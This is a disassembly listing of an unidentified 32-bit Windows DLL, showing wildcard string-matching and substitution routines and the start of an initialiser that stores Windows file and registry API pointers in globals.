; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000F372	proc near		; CODE XREF: sub_100108A3+2D9p
					; sub_100108A3+5D4p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0


loc_1000F3A2:				; CODE XREF: sub_1000F372+88j
					; sub_1000F372+233j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_1000F5AA
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 21h
		jge	short loc_1000F3FC
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 21h
		jge	short loc_1000F3E8
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_1000F3E8:				; CODE XREF: sub_1000F372+6Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		jmp	short loc_1000F3A2
; ---------------------------------------------------------------------------


loc_1000F3FC:				; CODE XREF: sub_1000F372+4Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_1000F40E
		jmp	loc_1000F5AA
; ---------------------------------------------------------------------------


loc_1000F40E:				; CODE XREF: sub_1000F372+95j
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	eax, edx
		jz	short loc_1000F44F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		sub	eax, 20h
		cmp	ecx, eax
		jz	short loc_1000F44F
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	loc_1000F56E


loc_1000F44F:				; CODE XREF: sub_1000F372+B0j
					; sub_1000F372+C9j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Ah
		jz	short loc_1000F466
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_1000F466:				; CODE XREF: sub_1000F372+E9j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Ah
		jnz	short loc_1000F4EC
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_1000F47D:				; CODE XREF: sub_1000F372+169j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	ecx, eax
		jz	short loc_1000F4DD
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 20h
		cmp	edx, ecx
		jz	short loc_1000F4DD
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_1000F4DD
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		jmp	short loc_1000F47D
; ---------------------------------------------------------------------------


loc_1000F4DD:				; CODE XREF: sub_1000F372+11Fj
					; sub_1000F372+138j ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_1000F4EC:				; CODE XREF: sub_1000F372+100j
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000F4FE
		jmp	loc_1000F5AA
; ---------------------------------------------------------------------------


loc_1000F4FE:				; CODE XREF: sub_1000F372+185j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000F56C
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0


loc_1000F534:				; CODE XREF: sub_1000F372+1F1j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_1000F565
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	short loc_1000F534
; ---------------------------------------------------------------------------


loc_1000F565:				; CODE XREF: sub_1000F372+1CDj
		mov	[ebp+var_18], 1


loc_1000F56C:				; CODE XREF: sub_1000F372+197j
		jmp	short loc_1000F583
; ---------------------------------------------------------------------------


loc_1000F56E:				; CODE XREF: sub_1000F372+D7j
		cmp	[ebp+var_10], 0
		jz	short loc_1000F57C
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		jmp	short loc_1000F583
; ---------------------------------------------------------------------------


loc_1000F57C:				; CODE XREF: sub_1000F372+200j
		mov	[ebp+var_4], 0


loc_1000F583:				; CODE XREF: sub_1000F372:loc_1000F56Cj
					; sub_1000F372+208j
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_1000F3A2
; ---------------------------------------------------------------------------


loc_1000F5AA:				; CODE XREF: sub_1000F372+3Bj
					; sub_1000F372+97j ...
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000F372	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000F5B1	proc near		; CODE XREF: sub_100108A3+32Dp
					; sub_100108A3+747p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0


loc_1000F5E8:				; CODE XREF: sub_1000F5B1+8Fj
					; sub_1000F5B1+241j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_1000F7F7
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_10]
		movsx	eax, byte ptr [edx]
		cmp	eax, 21h
		jge	short loc_1000F642
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 21h
		jge	short loc_1000F62E
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_1000F62E:				; CODE XREF: sub_1000F5B1+72j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_1000F5E8
; ---------------------------------------------------------------------------


loc_1000F642:				; CODE XREF: sub_1000F5B1+54j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_1000F654
		jmp	loc_1000F7F7
; ---------------------------------------------------------------------------


loc_1000F654:				; CODE XREF: sub_1000F5B1+9Cj
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_10]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		cmp	eax, edx
		jz	short loc_1000F6B0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		sub	eax, 20h
		cmp	ecx, eax
		jz	short loc_1000F6B0
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		push	edx		; C
		call	ds:isdigit	; isdigit
		add	esp, 4
		test	eax, eax
		jz	loc_1000F7B4
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 23h
		jnz	loc_1000F7B4


loc_1000F6B0:				; CODE XREF: sub_1000F5B1+B7j
					; sub_1000F5B1+D0j
		cmp	[ebp+var_4], 0
		jnz	short loc_1000F6BC
		mov	edx, [ebp+var_C]
		mov	[ebp+var_4], edx


loc_1000F6BC:				; CODE XREF: sub_1000F5B1+103j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	short loc_1000F72E
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		push	ecx		; SubStr
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_10]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000F716
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		push	eax		; SubStr
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_10]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		sub	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		jmp	short loc_1000F71F
; ---------------------------------------------------------------------------


loc_1000F716:				; CODE XREF: sub_1000F5B1+144j
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_1000F71F:				; CODE XREF: sub_1000F5B1+163j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_1000F72E:				; CODE XREF: sub_1000F5B1+120j
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_10]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000F740
		jmp	loc_1000F7F7
; ---------------------------------------------------------------------------


loc_1000F740:				; CODE XREF: sub_1000F5B1+188j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000F7B2
		mov	[ebp+var_8], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 0


loc_1000F761:				; CODE XREF: sub_1000F5B1+1DFj
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_18]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_1000F792
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_18]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		jmp	short loc_1000F761
; ---------------------------------------------------------------------------


loc_1000F792:				; CODE XREF: sub_1000F5B1+1BBj
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_1000F7B2:				; CODE XREF: sub_1000F5B1+19Aj
		jmp	short loc_1000F7D0
; ---------------------------------------------------------------------------


loc_1000F7B4:				; CODE XREF: sub_1000F5B1+E7j
					; sub_1000F5B1+F9j
		cmp	[ebp+var_14], 0
		jz	short loc_1000F7C2
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		jmp	short loc_1000F7C9
; ---------------------------------------------------------------------------


loc_1000F7C2:				; CODE XREF: sub_1000F5B1+207j
		mov	[ebp+var_8], 0


loc_1000F7C9:				; CODE XREF: sub_1000F5B1+20Fj
		mov	[ebp+var_4], 0


loc_1000F7D0:				; CODE XREF: sub_1000F5B1:loc_1000F7B2j
		mov	edx, [ebp+arg_C]
		add	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	loc_1000F5E8
; ---------------------------------------------------------------------------


loc_1000F7F7:				; CODE XREF: sub_1000F5B1+42j
					; sub_1000F5B1+9Ej ...
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000F5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000F7FE	proc near		; CODE XREF: sub_100108A3+52Ep
					; sub_10011167+561p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_C], 0


loc_1000F843:				; CODE XREF: sub_1000F7FE:loc_1000FB05j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_1000FB0A
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000F866
		jmp	loc_1000FB0A
; ---------------------------------------------------------------------------


loc_1000F866:				; CODE XREF: sub_1000F7FE+61j
		cmp	[ebp+var_C], 0
		jnz	loc_1000F9BC
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_10]
		movsx	ecx, byte ptr [eax]
		cmp	edx, ecx
		jz	short loc_1000F8A3
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		sub	edx, 20h
		cmp	eax, edx
		jnz	loc_1000F992


loc_1000F8A3:				; CODE XREF: sub_1000F7FE+86j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	loc_1000F94B
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_10]
		push	ecx		; SubStr
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000F933
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_10]
		push	eax		; SubStr
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_20]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		sub	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_20]
		push	edx		; Count
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		push	eax		; Source
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_1C]
		push	ecx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		add	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_20], ecx
		jmp	short loc_1000F93C
; ---------------------------------------------------------------------------


loc_1000F933:				; CODE XREF: sub_1000F7FE+E2j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_1000F93C:				; CODE XREF: sub_1000F7FE+133j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_1000F94B:				; CODE XREF: sub_1000F7FE+BAj
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000F95D
		jmp	loc_1000FB0A
; ---------------------------------------------------------------------------


loc_1000F95D:				; CODE XREF: sub_1000F7FE+158j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000F977
		mov	[ebp+var_C], 1
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax


loc_1000F977:				; CODE XREF: sub_1000F7FE+16Aj
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx
		jmp	short loc_1000F9AE
; ---------------------------------------------------------------------------


loc_1000F992:				; CODE XREF: sub_1000F7FE+9Fj
		cmp	[ebp+var_24], 0
		jz	short loc_1000F9A0
		mov	edx, [ebp+var_24]
		mov	[ebp+var_10], edx
		jmp	short loc_1000F9A7
; ---------------------------------------------------------------------------


loc_1000F9A0:				; CODE XREF: sub_1000F7FE+198j
		mov	[ebp+var_10], 0


loc_1000F9A7:				; CODE XREF: sub_1000F7FE+1A0j
		mov	[ebp+var_1C], 0


loc_1000F9AE:				; CODE XREF: sub_1000F7FE+192j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_1000FB05
; ---------------------------------------------------------------------------


loc_1000F9BC:				; CODE XREF: sub_1000F7FE+6Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	edx, ecx
		jz	short loc_1000F9EF
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		sub	edx, 20h
		cmp	eax, edx
		jnz	loc_1000FACE


loc_1000F9EF:				; CODE XREF: sub_1000F7FE+1D2j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	loc_1000FA97
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		push	ecx		; SubStr
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000FA7F
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		push	eax		; SubStr
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_20]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		sub	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_20]
		push	edx		; Count
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		push	eax		; Source
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_1C]
		push	ecx		; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		add	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_20], ecx
		jmp	short loc_1000FA88
; ---------------------------------------------------------------------------


loc_1000FA7F:				; CODE XREF: sub_1000F7FE+22Ej
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_1000FA88:				; CODE XREF: sub_1000F7FE+27Fj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_1000FA97:				; CODE XREF: sub_1000F7FE+206j
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_1000FAB1
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000FACC


loc_1000FAB1:				; CODE XREF: sub_1000F7FE+2A4j
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax
		jmp	short loc_1000FB0A
; ---------------------------------------------------------------------------


loc_1000FACC:				; CODE XREF: sub_1000F7FE+2B1j
		jmp	short loc_1000FAE3
; ---------------------------------------------------------------------------


loc_1000FACE:				; CODE XREF: sub_1000F7FE+1EBj
		cmp	[ebp+var_28], 0
		jz	short loc_1000FADC
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_8], ecx
		jmp	short loc_1000FAE3
; ---------------------------------------------------------------------------


loc_1000FADC:				; CODE XREF: sub_1000F7FE+2D4j
		mov	[ebp+var_8], 0


loc_1000FAE3:				; CODE XREF: sub_1000F7FE:loc_1000FACCj
					; sub_1000F7FE+2DCj
		mov	edx, [ebp+arg_C]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_1000FB05:				; CODE XREF: sub_1000F7FE+1B9j
		jmp	loc_1000F843
; ---------------------------------------------------------------------------


loc_1000FB0A:				; CODE XREF: sub_1000F7FE+50j
					; sub_1000F7FE+63j ...
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000F7FE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax


loc_1000FB1B:				; CODE XREF: .text:1000FB2Ej
		mov	ecx, [ebp+8]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_1000FB30
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_1000FB1B
; ---------------------------------------------------------------------------


loc_1000FB30:				; CODE XREF: .text:1000FB23j
					; .text:1000FB89j
		mov	ecx, [ebp+8]
		cmp	ecx, [ebp-4]
		jbe	short loc_1000FB8B
		mov	edx, [ebp+8]
		movsx	eax, byte ptr [edx-1]
		cmp	eax, 41h
		jl	short loc_1000FB50
		mov	ecx, [ebp+8]
		movsx	edx, byte ptr [ecx-1]
		cmp	edx, 5Ah
		jle	short loc_1000FB80


loc_1000FB50:				; CODE XREF: .text:1000FB42j
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax-1]
		cmp	ecx, 61h
		jl	short loc_1000FB68
		mov	edx, [ebp+8]
		movsx	eax, byte ptr [edx-1]
		cmp	eax, 7Ah
		jle	short loc_1000FB80


loc_1000FB68:				; CODE XREF: .text:1000FB5Aj
		mov	ecx, [ebp+8]
		movsx	edx, byte ptr [ecx-1]
		cmp	edx, 30h
		jl	short loc_1000FB8B
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax-1]
		cmp	ecx, 39h
		jg	short loc_1000FB8B


loc_1000FB80:				; CODE XREF: .text:1000FB4Ej
					; .text:1000FB66j
		mov	edx, [ebp+8]
		sub	edx, 1
		mov	[ebp+8], edx
		jmp	short loc_1000FB30
; ---------------------------------------------------------------------------


loc_1000FB8B:				; CODE XREF: .text:1000FB36j
					; .text:1000FB72j ...
		mov	eax, [ebp+8]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000FB92	proc near		; CODE XREF: sub_1001338E+23p
					; sub_1001338E+3Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_10017B24
		mov	[ebp+var_4], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_1000FB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000FBAA(int,	LPCVOID	lpAddress)

sub_1000FBAA	proc near		; CODE XREF: sub_100134D4+23p
					; sub_100134D4+3Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpAddress	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+lpAddress]
		push	eax		; lpAddress
		mov	ecx, [ebp+arg_0]
		push	ecx		; int
		call	sub_10018059
		mov	[ebp+var_4], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_1000FBAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000FBC2	proc near		; DATA XREF: .data:10022010o
		push	ebp
		mov	ebp, esp
		call	sub_1000FBCC
		pop	ebp
		retn
sub_1000FBC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000FBCC	proc near		; CODE XREF: sub_1000FBC2+3p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:RegEnumValueW
		mov	dword_10073DAC,	eax
		mov	ecx, dword_10073DAC
		mov	dword_10073DAC,	ecx
		mov	edx, dword_10073DE0
		mov	dword_10073B90,	edx
		mov	eax, ds:CreateFileW
		mov	dword_10073A48,	eax
		mov	ecx, dword_10073A48
		mov	dword_10073A48,	ecx
		mov	edx, ds:WriteFile
		mov	dword_10073A50,	edx
		mov	eax, dword_10073A50
		mov	dword_10073A50,	eax
		mov	ecx, ds:FlushFileBuffers
		mov	dword_10073B6C,	ecx
		mov	edx, dword_10073B6C
		mov	dword_10073B6C,	edx
		mov	eax, ds:CloseHandle
